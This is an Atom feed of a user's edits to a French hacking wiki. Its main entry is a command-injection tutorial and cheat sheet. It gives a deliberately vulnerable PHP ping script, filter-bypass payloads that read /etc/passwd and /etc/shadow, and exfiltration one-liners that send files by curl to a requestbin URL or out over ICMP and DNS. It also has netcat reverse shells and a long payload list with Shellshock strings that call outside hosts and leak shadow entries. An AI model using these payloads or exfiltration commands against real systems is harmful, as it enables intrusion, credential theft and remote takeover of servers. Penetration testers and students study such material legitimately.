<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki.hackbbs.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=OldNeib</id>
	<title>HackBBS - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.hackbbs.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=OldNeib"/>
	<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php/Sp%C3%A9cial:Contributions/OldNeib"/>
	<updated>2026-04-08T15:42:37Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.42.0-alpha</generator>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Bug_bounties&amp;diff=93583</id>
		<title>Hacking:Bug bounties</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Bug_bounties&amp;diff=93583"/>
		<updated>2023-12-02T19:01:43Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* https://hackerone.com&lt;br /&gt;
* https://www.bugcrowd.com/&lt;br /&gt;
* https://www.intigriti.com/&lt;br /&gt;
* https://yeswehack.com/&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93582</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93582"/>
		<updated>2023-12-02T18:59:29Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Windows */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
===== Unix =====&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/passwd&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/shadow&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 ;id&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;id;&lt;br /&gt;
 |id&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 |id|&lt;br /&gt;
 |/usr/bin/id|&lt;br /&gt;
 ||/usr/bin/id|&lt;br /&gt;
 |id;&lt;br /&gt;
 ||/usr/bin/id;&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id;&lt;br /&gt;
 \nid;&lt;br /&gt;
 \n/usr/bin/id|&lt;br /&gt;
 \nid|&lt;br /&gt;
 ;/usr/bin/id\n&lt;br /&gt;
 ;id\n&lt;br /&gt;
 |usr/bin/id\n&lt;br /&gt;
 |nid\n&lt;br /&gt;
 `id`&lt;br /&gt;
 `/usr/bin/id`&lt;br /&gt;
 a);id&lt;br /&gt;
 a;id&lt;br /&gt;
 a);id;&lt;br /&gt;
 a;id;&lt;br /&gt;
 a);id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a)|id&lt;br /&gt;
 a|id&lt;br /&gt;
 a)|id;&lt;br /&gt;
 a|id&lt;br /&gt;
 |/bin/ls -al&lt;br /&gt;
 a);/usr/bin/id&lt;br /&gt;
 a;/usr/bin/id&lt;br /&gt;
 a);/usr/bin/id;&lt;br /&gt;
 a;/usr/bin/id;&lt;br /&gt;
 a);/usr/bin/id|&lt;br /&gt;
 a;/usr/bin/id|&lt;br /&gt;
 a)|/usr/bin/id&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 a)|/usr/bin/id;&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;system('id')&lt;br /&gt;
 ;system('/usr/bin/id')&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 | id&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 ; id&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 `id`&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=5&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&amp;amp;?vuln=6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; echo vulnerable 1&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&amp;amp;?vuln=7&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; echo vulnerable 3&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&amp;amp;?vuln=8&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&amp;amp;?vuln=9&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; echo vulnerable 6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=4&amp;quot;&lt;br /&gt;
 cat /etc/hosts&lt;br /&gt;
 $(`cat /etc/passwd`)&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{ get_user_file(&amp;quot;/etc/passwd&amp;quot;) }}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/usr/bin/id;--&amp;gt;&lt;br /&gt;
 system('cat /etc/passwd');&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Windows =====&lt;br /&gt;
 `&lt;br /&gt;
 || &lt;br /&gt;
 | &lt;br /&gt;
 ; &lt;br /&gt;
 '&lt;br /&gt;
 '&amp;quot;&lt;br /&gt;
 &amp;quot;&lt;br /&gt;
 &amp;quot;'&lt;br /&gt;
 &amp;amp; &lt;br /&gt;
 &amp;amp;&amp;amp; &lt;br /&gt;
 %0a&lt;br /&gt;
 %0a%0d&lt;br /&gt;
 &lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\&amp;quot; |ping -n 21 127.0.0.1&lt;br /&gt;
 %20{${phpinfo()}}&lt;br /&gt;
 %20{${sleep(20)}}&lt;br /&gt;
 %20{${sleep(3)}}&lt;br /&gt;
 a|id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a;id;&lt;br /&gt;
 a;id\n&lt;br /&gt;
 () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12&lt;br /&gt;
 | curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 &amp;amp;&amp;amp; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 dir&lt;br /&gt;
 | dir&lt;br /&gt;
 ; dir&lt;br /&gt;
 $(`dir`)&lt;br /&gt;
 &amp;amp; dir&lt;br /&gt;
 &amp;amp;&amp;amp;dir&lt;br /&gt;
 &amp;amp;&amp;amp; dir&lt;br /&gt;
 | dir C:\&lt;br /&gt;
 ; dir C:\&lt;br /&gt;
 &amp;amp; dir C:\&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\&lt;br /&gt;
 dir C:\&lt;br /&gt;
 | dir C:\Documents and Settings\*&lt;br /&gt;
 ; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 dir C:\Documents and Settings\*&lt;br /&gt;
 | dir C:\Users&lt;br /&gt;
